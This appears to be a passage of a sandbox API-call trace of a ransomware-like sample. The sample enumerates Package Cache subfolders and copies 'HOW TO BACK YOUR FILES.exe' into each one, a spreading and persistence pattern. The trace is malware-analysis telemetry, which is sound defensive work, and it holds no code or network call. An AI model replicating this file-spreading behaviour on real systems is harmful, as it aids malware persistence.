lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\HOW TO BACK YOUR FILES.exe") returned="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\HOW TO BACK YOUR FILES.exe" [0053.476] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.477] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b7c060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", cAlternateFileName="54050A~1")) returned 1 [0053.477] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.477] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.477] lstrcpyW (in: lpString1=0x241e8ac, lpString2="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" [0053.477] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c6b0 [0053.477] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb6) returned 0x51c048 [0053.477] lstrcatW (in: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="\\" | out: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\") returned="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\" [0053.477] lstrcatW (in: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\HOW TO BACK YOUR FILES.exe") returned="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\HOW TO BACK YOUR FILES.exe" [0053.477] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.477] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc62f060, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.478] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.478] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b7c060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1 [0053.478] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.478] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.478] lstrcpyW (in: lpString1=0x241e8ac, lpString2="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0053.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c680 [0053.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc8) returned 0x52c810 [0053.478] lstrcatW (in: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="\\" | out: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\" [0053.478] lstrcatW (in: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW TO BACK YOUR FILES.exe") returned="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW TO BACK YOUR FILES.exe" [0053.478] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.478] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b7c060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0053.478] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.478] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.478] lstrcpyW (in: lpString1=0x241e8ac, lpString2="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0053.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52abb8 [0053.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb2) returned 0x51c108 [0053.478] lstrcatW (in: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="\\" | out: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0053.479] lstrcatW (in: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW TO BACK YOUR FILES.exe") returned="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW TO BACK YOUR FILES.exe" [0053.479] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.479] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0053.479] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.479] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.479] lstrcpyW (in: lpString1=0x241e8ac, lpString2="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0053.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52abd0 [0053.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc8) returned 0x52c8e0 [0053.479] lstrcatW (in: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="\\" | out: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\" [0053.479] lstrcatW (in: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW TO BACK YOUR FILES.exe") returned="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW TO BACK YOUR FILES.exe" [0053.479] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.480] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0053.480] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.480] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.480] lstrcpyW (in: lpString1=0x241e8ac, lpString2="{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0053.480] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52abe8 [0053.480] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb2) returned 0x51c1c8 [0053.480] lstrcatW (in: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="\\" | out: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0053.480] lstrcatW (in: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW TO BACK YOUR FILES.exe") returned="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW TO BACK YOUR FILES.exe" [0053.480] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.481] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1 [0053.481] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.481] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.481] lstrcpyW (in: lpString1=0x241e8ac, lpString2="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0053.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ac00 [0053.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xca) returned 0x526248 [0053.481] lstrcatW (in: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="\\" | out: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\" [0053.481] lstrcatW (in: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW TO BACK YOUR FILES.exe") returned="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW TO BACK YOUR FILES.exe" [0053.481] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.481] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1 [0053.481] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.481] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.481] lstrcpyW (in: lpString1=0x241e8ac, lpString2="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0053.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ac18 [0053.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xca) returned 0x526320 [0053.482] lstrcatW (in: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="\\" | out: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\" [0053.482] lstrcatW (in: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW TO BACK YOUR FILES.exe") returned="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW TO BACK YOUR FILES.exe" [0053.482] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.482] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1 [0053.482] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.482] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.482] lstrcpyW (in: lpString1=0x241e8ac, lpString2="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0053.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ac30 [0053.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xca) returned 0x5263f8 [0053.482] lstrcatW (in: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="\\" | out: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\" [0053.482] lstrcatW (in: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW TO BACK YOUR FILES.exe") returned="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW TO BACK YOUR FILES.exe" [0053.482] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.483] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bc8320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0053.483] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.483] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.483] lstrcpyW (in: lpString1=0x241e8ac, lpString2="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0053.483] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ac48 [0053.483] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc8) returned 0x52c9b0 [0053.483] lstrcatW (in: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="\\" | out: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\" [0053.483] lstrcatW (in: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW TO BACK YOUR FILES.exe") returned="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW TO BACK YOUR FILES.exe" [0053.483] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.483] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bc8320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0053.483] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.483] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.484] lstrcpyW (in: lpString1=0x241e8ac, lpString2="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0053.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ac60 [0053.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc8) returned 0x52afa0 [0053.484] lstrcatW (in: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="\\" | out: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\" [0053.484] lstrcatW (in: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW TO BACK YOUR FILES.exe") returned="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW TO BACK YOUR FILES.exe" [0053.484] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.484] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bc8320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0053.484] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.484] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", 